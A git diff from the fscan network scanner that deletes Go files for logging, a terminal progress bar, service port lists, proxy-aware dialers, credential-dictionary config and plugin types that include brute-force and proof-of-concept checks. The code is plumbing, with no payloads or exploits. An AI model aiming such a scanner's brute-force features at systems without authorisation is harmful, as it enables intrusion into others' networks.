- level = logging.LevelBaseInfoSuccess
- default:
- // 向后兼容:如果是老的字符串格式
- switch LogLevel {
- case "ALL":
- level = logging.LevelAll
- case "ERROR":
- level = logging.LevelError
- case "BASE":
- level = logging.LevelBase
- case "INFO":
- level = logging.LevelInfo
- case "SUCCESS":
- level = logging.LevelSuccess
- case "DEBUG":
- level = logging.LevelDebug
- case "debug":
- level = logging.LevelAll // 兼容旧的debug行为
- default:
- return // 无效的级别,保持默认
- }
- }
-
- // 更新全局日志管理器的级别
- if globalLogger != nil {
- config := &logging.LoggerConfig{
- Level: level,
- EnableColor: !NoColor,
- SlowOutput: false,
- ShowProgress: ShowProgress,
- StartTime: StartTime,
- LevelColors: logging.GetDefaultLevelColors(),
- }
-
- newLogger := logging.NewLogger(config)
- if ProgressBar != nil {
- newLogger.SetProgressBar(ProgressBar)
- }
- newLogger.SetOutputMutex(&OutputMutex)
-
- // 设置协调输出函数,使用LogWithProgress
- newLogger.SetCoordinatedOutput(LogWithProgress)
-
- // 更新全局日志管理器
- globalLogger = newLogger
- // status变量已移除,如需获取状态请直接调用newLogger.GetScanStatus()
- }
-}
diff --git a/Common/Ports.go b/Common/Ports.go
deleted file mode 100644
index b1b98c6..0000000
--- a/Common/Ports.go
+++ /dev/null
@@ -1,19 +0,0 @@
-package common
-
-import "github.com/shadow1ng/fscan/common/base"
-
-/*
-Ports.go - 端口常量(向后兼容层)
-
-此文件保持向后兼容,实际常量定义已迁移到Core/Constants.go
-*/
-
-// 向后兼容的端口常量 - 引用base包中的定义
-var (
- WebPorts = base.WebPorts // Web服务端口组
- MainPorts = base.MainPorts // 主要服务端口组
- DbPorts = base.DbPorts // 数据库端口组
- ServicePorts = base.ServicePorts // 服务端口组
- CommonPorts = base.CommonPorts // 常用端口组
- AllPorts = base.AllPorts // 全部端口
-)
diff --git a/Common/ProgressManager.go b/Common/ProgressManager.go
deleted file mode 100644
index 77d2df9..0000000
--- a/Common/ProgressManager.go
+++ /dev/null
@@ -1,457 +0,0 @@
-package common
-
-import (
- "fmt"
- "os"
- "runtime"
- "sync"
- "time"
-
- "github.com/shadow1ng/fscan/common/i18n"
-)
-
-/*
-ProgressManager.go - 固定底部进度条管理器
-
-提供固定在终端底部的进度条显示,与正常输出内容分离。
-使用终端控制码实现位置固定和内容保护。
-*/
-
-// ProgressManager 进度条管理器
-type ProgressManager struct {
- mu sync.RWMutex
- enabled bool
- total int64
- current int64
- description string
- startTime time.Time
- isActive bool
- terminalHeight int
- reservedLines int // 为进度条保留的行数
- lastContentLine int // 最后一行内容的位置
-
- // 输出缓冲相关
- outputMutex sync.Mutex
-
- // 活跃指示器相关
- spinnerIndex int
- lastActivity time.Time
- activityTicker *time.Ticker
- stopActivityChan chan struct{}
-
- // 内存监控相关
- lastMemUpdate time.Time
- memStats runtime.MemStats
-}
-
-var (
- globalProgressManager *ProgressManager
- progressMutex sync.Mutex
-
- // 活跃指示器字符序列(旋转动画)
- spinnerChars = []string{"|", "/", "-", "\\"}
-
- // 活跃指示器更新间隔
- activityUpdateInterval = 500 * time.Millisecond
-)
-
-// GetProgressManager 获取全局进度条管理器
-func GetProgressManager() *ProgressManager {
- progressMutex.Lock()
- defer progressMutex.Unlock()
-
- if globalProgressManager == nil {
- globalProgressManager = &ProgressManager{
- enabled: true,
- reservedLines: 2, // 保留2行:进度条 + 空行
- terminalHeight: getTerminalHeight(),
- }
- }
- return globalProgressManager
-}
-
-// InitProgress 初始化进度条
-func (pm *ProgressManager) InitProgress(total int64, description string) {
- if !ShowProgress || Silent {
- pm.enabled = false
- return
- }
-
- pm.mu.Lock()
- defer pm.mu.Unlock()
-
- pm.total = total
- pm.current = 0
- pm.description = description
- pm.startTime = time.Now()
- pm.isActive = true
- pm.enabled = true
- pm.lastActivity = time.Now()
- pm.spinnerIndex = 0
- pm.lastMemUpdate = time.Now().Add(-2 * time.Second) // 强制首次更新内存
-
- // 为进度条保留空间
- pm.setupProgressSpace()
-
- // 启动活跃指示器
- pm.startActivityIndicator()
-
- // 初始显示进度条
- pm.renderProgress()
-}
-
-// UpdateProgress 更新进度
-func (pm *ProgressManager) UpdateProgress(increment int64) {
- if !pm.enabled || !pm.isActive {
- return
- }
-
- pm.mu.Lock()
- defer pm.mu.Unlock()
-
- pm.current += increment
- if pm.current > pm.total {
- pm.current = pm.total
- }
-
- // 更新活跃时间
- pm.lastActivity = time.Now()
-
- pm.renderProgress()
-}
-
-// =============================================================================================
-// 已删除的死代码(未使用):SetProgress 设置当前进度
-// =============================================================================================
-
-// FinishProgress 完成进度条
-func (pm *ProgressManager) FinishProgress() {
- if !pm.enabled || !pm.isActive {
- return
- }
-
- pm.mu.Lock()
- defer pm.mu.Unlock()
-
- pm.current = pm.total
- pm.renderProgress()
-
- // 停止活跃指示器
- pm.stopActivityIndicator()
-
- // 显示完成信息
- pm.showCompletionInfo()
-
- // 清理进度条区域,恢复正常输出
- pm.clearProgressArea()
- pm.isActive = false
-}
-
-// setupProgressSpace 设置进度条空间
-func (pm *ProgressManager) setupProgressSpace() {
- // 简化设计:进度条在原地更新,不需要预留额外空间
- // 只是标记进度条开始的位置
- pm.lastContentLine = 0
-}
-
-// =============================================================================================
-// 已删除的死代码(未使用):moveToContentArea 和 moveToProgressLine 方法
-// =============================================================================================
-
-// renderProgress 渲染进度条(使用锁避免输出冲突)
-func (pm *ProgressManager) renderProgress() {
- pm.outputMutex.Lock()
- defer pm.outputMutex.Unlock()
-
- pm.renderProgressUnsafe()
-}
-
-// generateProgressBar 生成进度条字符串
-func (pm *ProgressManager) generateProgressBar() string {
- if pm.total == 0 {
- spinner := pm.getActivityIndicator()
- memInfo := pm.getMemoryInfo()
- return fmt.Sprintf("%s %s 等待中... %s", pm.description, spinner, memInfo)
- }
-
- percentage := float64(pm.current) / float64(pm.total) * 100
- elapsed := time.Since(pm.startTime)
-
- // 获取并发状态
- concurrencyStatus := GetConcurrencyMonitor().GetConcurrencyStatus()
-
- // 计算预估剩余时间
- var eta string
- if pm.current > 0 {
- totalTime := elapsed * time.Duration(pm.total) / time.Duration(pm.current)
- remaining := totalTime - elapsed
- if remaining > 0 {
- eta = fmt.Sprintf(" ETA:%s", formatDuration(remaining))
- }
- }
-
- // 计算速度
- speed := float64(pm.current) / elapsed.Seconds()
- speedStr := ""
- if speed > 0 {
- speedStr = fmt.Sprintf(" (%.1f/s)", speed)
- }
-
- // 生成进度条
- barWidth := 30
- filled := int(percentage * float64(barWidth) / 100)
- bar := ""
-
- if NoColor {
- // 无颜色版本
- bar = "[" +
- fmt.Sprintf("%s%s",
- string(make([]rune, filled)),
- string(make([]rune, barWidth-filled))) +
- "]"
- for i := 0; i < filled; i++ {
- bar = bar[:i+1] + "=" + bar[i+2:]
- }
- for i := filled; i < barWidth; i++ {
- bar = bar[:i+1] + "-" + bar[i+2:]
- }
- } else {
- // 彩色版本
- bar = "|"
- for i := 0; i < barWidth; i++ {
- if i < filled {
- bar += "#"
- } else {
- bar += "."
- }
- }
- bar += "|"
- }
-
- // 生成活跃指示器
- spinner := pm.getActivityIndicator()
-
- // 构建基础进度条
- baseProgress := fmt.Sprintf("%s %s %6.1f%% %s (%d/%d)%s%s",
- pm.description, spinner, percentage, bar, pm.current, pm.total, speedStr, eta)
-
- // 添加内存信息
- memInfo := pm.getMemoryInfo()
-
- // 添加并发状态
- if concurrencyStatus != "" {
- return fmt.Sprintf("%s [%s] %s", baseProgress, concurrencyStatus, memInfo)
- }
-
- return fmt.Sprintf("%s %s", baseProgress, memInfo)
-}
-
-// showCompletionInfo 显示完成信息
-func (pm *ProgressManager) showCompletionInfo() {
- elapsed := time.Since(pm.startTime)
-
- // 换行并显示完成信息
- fmt.Print("\n")
-
- completionMsg := i18n.GetText("progress_scan_completed")
- if NoColor {
- fmt.Printf("[完成] %s %d/%d (耗时: %s)\n",
- completionMsg, pm.total, pm.total, formatDuration(elapsed))
- } else {
- fmt.Printf("\033[32m[完成] %s %d/%d\033[0m \033[90m(耗时: %s)\033[0m\n",
- completionMsg, pm.total, pm.total, formatDuration(elapsed))
- }
-}
-
-// clearProgressArea 清理进度条区域
-func (pm *ProgressManager) clearProgressArea() {
- // 简单清除当前行
- fmt.Print("\033[2K\r")
-}
-
-// IsActive 检查进度条是否活跃
-func (pm *ProgressManager) IsActive() bool {
- pm.mu.RLock()
- defer pm.mu.RUnlock()
- return pm.isActive && pm.enabled
-}
-
-// getTerminalHeight 获取终端高度
-func getTerminalHeight() int {
- // 对于固定底部进度条,我们暂时禁用终端高度检测
- // 因为在不同终端环境中可能会有问题
- // 改为使用相对定位方式
- return 0 // 返回0表示使用简化模式
-}
-
-// formatDuration 格式化时间间隔
-func formatDuration(d time.Duration) string {
- if d < time.Minute {
- return fmt.Sprintf("%.1fs", d.Seconds())
- } else if d < time.Hour {
- return fmt.Sprintf("%.1fm", d.Minutes())
- } else {
- return fmt.Sprintf("%.1fh", d.Hours())
- }
-}
-
-// 全局函数,方便其他模块调用
-func InitProgressBar(total int64, description string) {
- GetProgressManager().InitProgress(total, description)
-}
-
-func UpdateProgressBar(increment int64) {
- GetProgressManager().UpdateProgress(increment)
-}
-
-// =============================================================================================
-// 已删除的死代码(未使用):SetProgressBar 全局函数
-// =============================================================================================
-
-func FinishProgressBar() {
- GetProgressManager().FinishProgress()
-}
-
-func IsProgressActive() bool {
- return GetProgressManager().IsActive()
-}
-
-// =============================================================================
-// 日志输出协调功能
-// =============================================================================
-
-// LogWithProgress 在进度条活跃时协调日志输出
-func LogWithProgress(message string) {
- pm := GetProgressManager()
- if !pm.IsActive() {
- // 如果进度条不活跃,直接输出
- fmt.Println(message)
- return
- }
-
- pm.outputMutex.Lock()
- defer pm.outputMutex.Unlock()
-
- // 清除当前行(清除进度条)
- fmt.Print("\033[2K\r")
-
- // 输出日志消息
- fmt.Println(message)
-
- // 重绘进度条
- pm.renderProgressUnsafe()
-}
-
-// renderProgressUnsafe 不加锁的进度条渲染(内部使用)
-func (pm *ProgressManager) renderProgressUnsafe() {
- if !pm.enabled || !pm.isActive {
- return
- }
-
- // 移动到行首并清除当前行
- fmt.Print("\033[2K\r")
-
- // 生成进度条内容
- progressBar := pm.generateProgressBar()
-
- // 输出进度条(带颜色,如果启用)
- if NoColor {
- fmt.Print(progressBar)
- } else {
- fmt.Printf("\033[36m%s\033[0m", progressBar) // 青色
- }
-
- // 刷新输出
- os.Stdout.Sync()
-}
-
-// =============================================================================
-// 活跃指示器相关方法
-// =============================================================================
-
-// startActivityIndicator 启动活跃指示器
-func (pm *ProgressManager) startActivityIndicator() {
- // 防止重复启动
- if pm.activityTicker != nil {
- return
- }
-
- pm.activityTicker = time.NewTicker(activityUpdateInterval)
- pm.stopActivityChan = make(chan struct{})
-
- go func() {
- for {
- select {
- case <-pm.activityTicker.C:
- // 只有在活跃状态下才更新指示器
- if pm.isActive && pm.enabled {
- pm.mu.Lock()
- pm.spinnerIndex = (pm.spinnerIndex + 1) % len(spinnerChars)
- pm.mu.Unlock()
-
- // 只有在长时间没有进度更新时才重新渲染
- // 这样可以避免频繁更新时的性能问题
- if time.Since(pm.lastActivity) > 2*time.Second {
- pm.renderProgress()
- }
- }
- case <-pm.stopActivityChan:
- return
- }
- }
- }()
-}
-
-// stopActivityIndicator 停止活跃指示器
-func (pm *ProgressManager) stopActivityIndicator() {
- if pm.activityTicker != nil {
- pm.activityTicker.Stop()
- pm.activityTicker = nil
- }
-
- if pm.stopActivityChan != nil {
- close(pm.stopActivityChan)
- pm.stopActivityChan = nil
- }
-}
-
-// getActivityIndicator 获取当前活跃指示器字符
-func (pm *ProgressManager) getActivityIndicator() string {
- // 如果最近有活动(2秒内),显示静态指示器
- if time.Since(pm.lastActivity) <= 2*time.Second {
- return "●" // 实心圆表示活跃
- }
-
- // 如果长时间没有活动,显示旋转指示器表明程序仍在运行
- return spinnerChars[pm.spinnerIndex]
-}
-
-// getMemoryInfo 获取内存使用信息
-func (pm *ProgressManager) getMemoryInfo() string {
- // 限制内存统计更新频率以提高性能(每秒最多一次)
- now := time.Now()
- if now.Sub(pm.lastMemUpdate) >= time.Second {
- runtime.ReadMemStats(&pm.memStats)
- pm.lastMemUpdate = now
- }
-
- // 获取当前使用的内存(以MB为单位)
- memUsedMB := float64(pm.memStats.Alloc) / 1024 / 1024
-
- // 根据内存使用量选择颜色
- var colorCode string
- if NoColor {
- return fmt.Sprintf("内存:%.1fMB", memUsedMB)
- }
-
- // 根据内存使用量设置颜色
- if memUsedMB < 50 {
- colorCode = "\033[32m" // 绿色 - 内存使用较低
- } else if memUsedMB < 100 {
- colorCode = "\033[33m" // 黄色 - 内存使用中等
- } else {
- colorCode = "\033[31m" // 红色 - 内存使用较高
- }
-
- return fmt.Sprintf("%s内存:%.1fMB\033[0m", colorCode, memUsedMB)
-}
\ No newline at end of file
diff --git a/Common/base/Constants.go b/Common/base/Constants.go
deleted file mode 100644
index 9b17145..0000000
--- a/Common/base/Constants.go
+++ /dev/null
@@ -1,41 +0,0 @@
-package base
-
-/*
-Constants.go - 核心常量定义
-
-整合Ports.go等常量文件,统一管理所有核心常量。
-*/
-
-// =============================================================================
-// 端口常量 (从Ports.go迁移)
-// =============================================================================
-
-// 预定义端口组常量
-var (
- WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
- MainPorts = "21,22,23,25,80,81,110,135,139,143,389,443,445,465,502,587,636,873,993,995,1433,1434,1521,1522,1525,2121,2200,2222,3000,3268,3269,3306,3389,5432,5672,5900,6379,7474,7687,8000,8080,8081,8088,8443,8888,9000,9042,9080,9092,9200,9300,11211,15672,22222,27017,61613,61614"
- DbPorts = "1433,1521,3306,5432,5672,6379,7687,9042,9093,9200,11211,27017,61616"
- ServicePorts = "21,22,23,25,110,135,139,143,162,389,445,465,502,587,636,873,993,995,1433,1521,2222,3306,3389,5020,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613"
- CommonPorts = "21,22,23,25,53,80,110,135,139,143,443,445,993,995,1723,3389,5060,5985,5986"
- AllPorts = "1-65535"
-)
-
-// =============================================================================
-// 扫描模式常量
-// =============================================================================
-
-const (
- ScanModeAll = "all" // 全扫描模式
-)
-
-// =============================================================================
-// 默认配置常量
-// =============================================================================
-
-const (
- DefaultThreadNum = 600 // 默认线程数
- DefaultTimeout = 3 // 默认超时时间(秒)
- DefaultScanMode = ScanModeAll // 默认扫描模式
- DefaultLanguage = "zh" // 默认语言
- DefaultLogLevel = "base" // 默认日志级别
-)
diff --git a/Common/base/Manager.go b/Common/base/Manager.go
deleted file mode 100644
index 3659df6..0000000
--- a/Common/base/Manager.go
+++ /dev/null
@@ -1,85 +0,0 @@
-package base
-
-import (
- "sync"
-
- "github.com/shadow1ng/fscan/common/config"
-)
-
-// =============================================================================
-// 全局配置变量
-// =============================================================================
-
-var (
- // 核心扫描配置
- ScanMode string // 扫描模式
- ThreadNum int // 线程数
- Timeout int64 // 超时时间
- DisablePing bool // 禁用ping
- LocalMode bool // 本地模式
- LocalPlugin string // 本地插件选择
-
- // 基础认证配置
- Username string // 用户名
- Password string // 密码
- Userdict map[string][]string // 用户字典
- Passwords []string // 密码列表
-
- // 网络配置
- HttpProxy string // HTTP代理
- Socks5Proxy string // SOCKS5代理
-
- // 显示控制
- NoColor bool // 禁用颜色
- Language string // 语言
- LogLevel string // 日志级别
-
- // 端口映射
- PortMap map[int][]string // 端口映射
- DefaultMap []string // 默认映射
-
- // 初始化锁
- initOnce sync.Once
-)
-
-// =============================================================================
-// 简化的初始化函数
-// =============================================================================
-
-// InitGlobalConfig 初始化全局配置
-func InitGlobalConfig() {
- initOnce.Do(func() {
- // 设置默认值
- ScanMode = DefaultScanMode
- ThreadNum = DefaultThreadNum
- Timeout = DefaultTimeout
- LogLevel = DefaultLogLevel
- Language = DefaultLanguage
-
- // 初始化映射和切片
- Userdict = make(map[string][]string)
- PortMap = make(map[int][]string)
- DefaultMap = make([]string, 0)
-
- // 从config模块获取字典和映射
- if serviceDict := config.GetGlobalServiceDict(); serviceDict != nil {
- Userdict = serviceDict.GetAllUserDicts()
- Passwords = serviceDict.GetPasswords()
- }
-
- if probeMapping := config.GetGlobalProbeMapping(); probeMapping != nil {
- PortMap = probeMapping.GetAllPortMappings()
- DefaultMap = probeMapping.GetDefaultProbes()
- }
- })
-}
-
-// =============================================================================
-// 访问器函数已移除(未使用的死代码)
-// 直接使用全局变量进行访问
-// =============================================================================
-
-// init 自动初始化
-func init() {
- InitGlobalConfig()
-}
diff --git a/Common/base/Plugin.go b/Common/base/Plugin.go
deleted file mode 100644
index cd0a0d1..0000000
--- a/Common/base/Plugin.go
+++ /dev/null
@@ -1,149 +0,0 @@
-package base
-
-import (
- "sync"
-)
-
-/*
-Plugin.go - 插件系统管理
-
-整合Types.go中的插件系统,提供统一的插件注册和管理机制。
-*/
-
-// =============================================================================
-// 核心数据结构 (从Types.go迁移)
-// =============================================================================
-
-// HostInfo 主机信息结构
-type HostInfo struct {
- Host string // 主机地址
- Ports string // 端口范围
- Url string // URL地址
- Infostr []string // 附加信息
-}
-
-// =============================================================================
-// 插件类型常量
-// =============================================================================
-
-const (
- PluginTypeService = "service" // 服务类型插件
- PluginTypeWeb = "web" // Web类型插件
- PluginTypeLocal = "local" // 本地类型插件
- PluginTypeBrute = "brute" // 暴力破解插件
- PluginTypePoc = "poc" // POC验证插件
- PluginTypeScan = "scan" // 扫描探测插件
-)
-
-// =============================================================================
-// 插件定义和管理
-// =============================================================================
-
-// ScanPlugin 定义扫描插件的结构
-type ScanPlugin struct {
- Name string // 插件名称
- Version string // 插件版本
- Description string // 插件描述
- Author string // 插件作者
- Ports []int // 适用端口
- Types []string // 插件类型标签,一个插件可以有多个类型
- Priority int // 插件优先级(数字越小优先级越高)
- Enabled bool // 是否启用
- ScanFunc func(*HostInfo) error // 扫描函数
-}
-
-// PluginManager 插件管理器
-type PluginManager struct {
- mu sync.RWMutex
- plugins map[string]*ScanPlugin
- types map[string][]*ScanPlugin // 按类型索引的插件
- ports map[int][]*ScanPlugin // 按端口索引的插件
-}
-
-// 全局插件管理器实例
-var globalPluginManager = NewPluginManager()
-
-// NewPluginManager 创建新的插件管理器
-func NewPluginManager() *PluginManager {
- return &PluginManager{
- plugins: make(map[string]*ScanPlugin),
- types: make(map[string][]*ScanPlugin),
- ports: make(map[int][]*ScanPlugin),
- }
-}
-
-// =============================================================================
-// 插件基础方法
-// =============================================================================
-
-// HasType 检查插件是否具有指定类型
-func (p *ScanPlugin) HasType(typeName string) bool {
- for _, t := range p.Types {
- if t == typeName {
- return true
- }
- }
- return false
-}
-
-// HasPort 检查插件是否支持指定端口
-func (p *ScanPlugin) HasPort(port int) bool {
- // 如果没有指定端口列表,表示支持所有端口
- if len(p.Ports) == 0 {
- return true
- }
-
- // 检查端口是否在支持列表中
- for _, supportedPort := range p.Ports {
- if port == supportedPort {
- return true
- }
- }
- return false
-}
-
-// IsEnabled 检查插件是否启用
-func (p *ScanPlugin) IsEnabled() bool {
- return p.Enabled
-}
-
-// GetInfo 获取插件基本信息
-func (p *ScanPlugin) GetInfo() map[string]interface{} {
- return map[string]interface{}{
- "name": p.Name,
- "version": p.Version,
- "description": p.Description,
- "author": p.Author,
- "types": p.Types,
- "ports": p.Ports,
- "priority": p.Priority,
- "enabled": p.Enabled,
- }
-}
-
-// =============================================================================
-// 插件管理器方法
-// =============================================================================
-
-// 已移除未使用的 RegisterPlugin 方法
-
-// ========================================================================================
-// 未使用的插件管理器方法已删除(死代码清理)
-// 包括:GetPlugin, GetPluginsByType, GetPluginsByPort, GetAllPlugins,
-// EnablePlugin, DisablePlugin, UnregisterPlugin, GetPluginCount, GetEnabledPluginCount
-// ========================================================================================
-
-// =============================================================================
-// 全局插件管理函数 (保持向后兼容)
-// =============================================================================
-
-// 已移除未使用的 RegisterPlugin 方法
-
-// 已移除未使用的 Clear 方法
-
-// 已移除未使用的 ClearPluginsByType 方法
-
-// GetGlobalPluginManager 方法已删除(死代码清理)
-
-// 向后兼容的全局变量 (已废弃,建议使用PluginManager)
-var LegacyPluginManager = make(map[string]ScanPlugin)
\ No newline at end of file
diff --git a/Common/common.go b/Common/common.go
deleted file mode 100644
index 63f4869..0000000
--- a/Common/common.go
+++ /dev/null
@@ -1,235 +0,0 @@
-package common
-
-/*
-common.go - 简化的统一入口
-
-移除所有向后兼容层,提供清晰的模块化接口。
-直接导出各子模块的核心功能,避免代码债务。
-*/
-
-import (
- "context"
- "crypto/tls"
- "fmt"
- "net"
- "sync"
- "time"
-
- "github.com/shadow1ng/fscan/common/base"
- "github.com/shadow1ng/fscan/common/logging"
- "github.com/shadow1ng/fscan/common/output"
- "github.com/shadow1ng/fscan/common/proxy"
-)
-
-// =============================================================================
-// 核心类型导出 - 直接从core模块导出
-// =============================================================================
-
-type HostInfo = base.HostInfo
-type ScanPlugin = base.ScanPlugin
-
-// 插件类型常量
-const (
- PluginTypeWeb = base.PluginTypeWeb
- PluginTypeLocal = base.PluginTypeLocal
-)
-
-// 全局插件管理器
-var PluginManager = base.LegacyPluginManager
-
-// =============================================================================
-// 核心功能导出 - 直接调用对应模块
-// =============================================================================
-
-// 已移除未使用的 RegisterPlugin 方法
-
-// GetGlobalPluginManager 函数已删除(死代码清理)
-
-// =============================================================================
-// 日志系统简化接口
-// =============================================================================
-
-var globalLogger *logging.Logger
-var loggerMutex sync.Mutex
-
-func getGlobalLogger() *logging.Logger {
- loggerMutex.Lock()
- defer loggerMutex.Unlock()
-
- if globalLogger == nil {
- level := getLogLevelFromString(LogLevel)
- config := &logging.LoggerConfig{
- Level: level,
- EnableColor: !NoColor,
- SlowOutput: false,
- ShowProgress: ShowProgress,
- StartTime: StartTime,
- }
- globalLogger = logging.NewLogger(config)
- if ProgressBar != nil {
- globalLogger.SetProgressBar(ProgressBar)
- }
- globalLogger.SetOutputMutex(&OutputMutex)
-
- // 设置协调输出函数,使用LogWithProgress
- globalLogger.SetCoordinatedOutput(LogWithProgress)
- }
- return globalLogger
-}
-
-func getLogLevelFromString(levelStr string) logging.LogLevel {
- switch levelStr {
- case "all", "ALL":
- return logging.LevelAll
- case "error", "ERROR":
- return logging.LevelError
- case "base", "BASE":
- return logging.LevelBase
- case "info", "INFO":
- return logging.LevelInfo
- case "success", "SUCCESS":
- return logging.LevelSuccess
- case "debug", "DEBUG":
- return logging.LevelDebug
- case "info,success":
- return logging.LevelInfoSuccess
- case "base,info,success", "BASE_INFO_SUCCESS":
- return logging.LevelBaseInfoSuccess
- default:
- return logging.LevelInfoSuccess
- }
-}
-
-// 日志函数
-func InitLogger() {
- loggerMutex.Lock()
- globalLogger = nil
- loggerMutex.Unlock()
- getGlobalLogger().Initialize()
-}
-
-func LogDebug(msg string) { getGlobalLogger().Debug(msg) }
-func LogBase(msg string) { getGlobalLogger().Base(msg) }
-func LogInfo(msg string) { getGlobalLogger().Info(msg) }
-func LogSuccess(result string) { getGlobalLogger().Success(result) }
-func LogError(errMsg string) { getGlobalLogger().Error(errMsg) }
-
-// =============================================================================
-// 输出系统简化接口
-// =============================================================================
-
-var ResultOutput *output.Manager
-
-func InitOutput() error {
- if Outputfile == "" {
- return fmt.Errorf("output file not specified")
- }
-
- var format output.OutputFormat
- switch OutputFormat {
- case "txt":
- format = output.FormatTXT
- case "json":
- format = output.FormatJSON
- case "csv":
- format = output.FormatCSV
- default:
- return fmt.Errorf("invalid output format: %s", OutputFormat)
- }
-
- config := output.DefaultManagerConfig(Outputfile, format)
- manager, err := output.NewManager(config)
- if err != nil {
- return err
- }
- ResultOutput = manager
- return nil
-}
-
-func CloseOutput() error {
- if ResultOutput == nil {
- return nil
- }
- return ResultOutput.Close()
-}
-
-func SaveResult(result *output.ScanResult) error {
- if ResultOutput == nil {
- return fmt.Errorf("output not initialized")
- }
- return ResultOutput.SaveResult(result)
-}
-
-// =============================================================================
-// 网络连接辅助函数
-// =============================================================================
-
-// WrapperTcpWithTimeout TCP连接包装器,带超时
-func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
- return net.DialTimeout(network, address, timeout)
-}
-
-// WrapperTcpWithContext TCP连接包装器,带上下文和代理支持
-func WrapperTcpWithContext(ctx context.Context, network, address string) (net.Conn, error) {
- // 检查是否配置了SOCKS5代理
- if Socks5Proxy != "" {
- proxyConfig := &proxy.ProxyConfig{
- Type: proxy.ProxyTypeSOCKS5,
- Address: Socks5Proxy,
- Timeout: time.Second * 10,
- }
-
- proxyManager := proxy.NewProxyManager(proxyConfig)
- dialer, err := proxyManager.GetDialer()
- if err != nil {
- LogDebug(fmt.Sprintf("SOCKS5代理连接失败,回退到直连: %v", err))
- // 代理失败时回退到直连
- var d net.Dialer
- return d.DialContext(ctx, network, address)
- }
-
- LogDebug(fmt.Sprintf("使用SOCKS5代理连接: %s -> %s", Socks5Proxy, address))
- return dialer.DialContext(ctx, network, address)
- }
-
- // 没有配置代理,使用直连
- var d net.Dialer
- return d.DialContext(ctx, network, address)
-}
-
-// WrapperTlsWithContext TLS连接包装器,带上下文和代理支持
-func WrapperTlsWithContext(ctx context.Context, network, address string, config *tls.Config) (net.Conn, error) {
- // 检查是否配置了SOCKS5代理
- if Socks5Proxy != "" {
- proxyConfig := &proxy.ProxyConfig{
- Type: proxy.ProxyTypeSOCKS5,
- Address: Socks5Proxy,
- Timeout: time.Second * 10,
- }
-
- proxyManager := proxy.NewProxyManager(proxyConfig)
- tlsDialer, err := proxyManager.GetTLSDialer()
- if err != nil {
- LogDebug(fmt.Sprintf("SOCKS5代理TLS连接失败,回退到直连: %v", err))
- // 代理失败时回退到直连
- d := &tls.Dialer{Config: config}
- return d.DialContext(ctx, network, address)
- }
-
- LogDebug(fmt.Sprintf("使用SOCKS5代理TLS连接: %s -> %s", Socks5Proxy, address))
- return tlsDialer.DialTLSContext(ctx, network, address, config)
- }
-
- // 没有配置代理,使用直连
- d := &tls.Dialer{Config: config}
- return d.DialContext(ctx, network, address)
-}
-
-// =============================================================================
-// 错误处理辅助函数
-// =============================================================================
-
-// CheckErrs 检查单个错误 - 简化版本
-func CheckErrs(err error) error {
- return err
-}
diff --git a/Common/config/PortMapping.go b/Common/config/PortMapping.go
deleted file mode 100644
index fc10932..0000000
--- a/Common/config/PortMapping.go
+++ /dev/null
@@ -1,81 +0,0 @@
-package config
-
-import (
- "sync"
-)
-
-// ProbeMapping 探测器映射管理器
-type ProbeMapping struct {
- mu sync.RWMutex
- defaultMap []string
- portMap map[int][]string
- initialized bool
-}
-
-// NewProbeMapping 创建探测器映射管理器
-func NewProbeMapping() *ProbeMapping {
- return &ProbeMapping{
- defaultMap: getDefaultProbeMap(),
- portMap: getDefaultPortMap(),
- initialized: true,
- }
-}
-
-// getDefaultProbeMap 获取默认的探测器顺序
-func getDefaultProbeMap() []string {
- // 返回常量的副本
- result := make([]string, len(DefaultProbeMap))
- copy(result, DefaultProbeMap)
- return result
-}
-
-// getDefaultPortMap 获取默认的端口映射
-func getDefaultPortMap() map[int][]string {
- // 返回常量的深拷贝
- result := make(map[int][]string)
- for port, probes := range DefaultPortMap {
- probesCopy := make([]string, len(probes))
- copy(probesCopy, probes)
- result[port] = probesCopy
- }
- return result
-}
-
-// GetDefaultProbes 获取默认探测器列表
-func (pm *ProbeMapping) GetDefaultProbes() []string {
- pm.mu.RLock()
- defer pm.mu.RUnlock()
-
- result := make([]string, len(pm.defaultMap))
- copy(result, pm.defaultMap)
- return result
-}
-
-// GetAllPortMappings 获取所有端口映射
-func (pm *ProbeMapping) GetAllPortMappings() map[int][]string {
- pm.mu.RLock()
- defer pm.mu.RUnlock()
-
- result := make(map[int][]string)
- for port, probes := range pm.portMap {
- probesCopy := make([]string, len(probes))
- copy(probesCopy, probes)
- result[port] = probesCopy
- }
- return result
-}
-
-
-// 全局探测器映射实例
-var (
- globalProbeMapping *ProbeMapping
- probeMappingOnce sync.Once
-)
-
-// GetGlobalProbeMapping 获取全局探测器映射实例
-func GetGlobalProbeMapping() *ProbeMapping {
- probeMappingOnce.Do(func() {
- globalProbeMapping = NewProbeMapping()
- })
- return globalProbeMapping
-}
\ No newline at end of file
diff --git a/Common/config/ServiceDict.go b/Common/config/ServiceDict.go
deleted file mode 100644
index 96ca7a4..0000000
--- a/Common/config/ServiceDict.go
+++ /dev/null
@@ -1,82 +0,0 @@
-package config
-
-import (
- "sync"
-)
-
-// ServiceDictionary 服务字典管理器
-type ServiceDictionary struct {
- mu sync.RWMutex
- userDict map[string][]string
- passwords []string
- initialized bool
-}
-
-// NewServiceDictionary 创建服务字典管理器
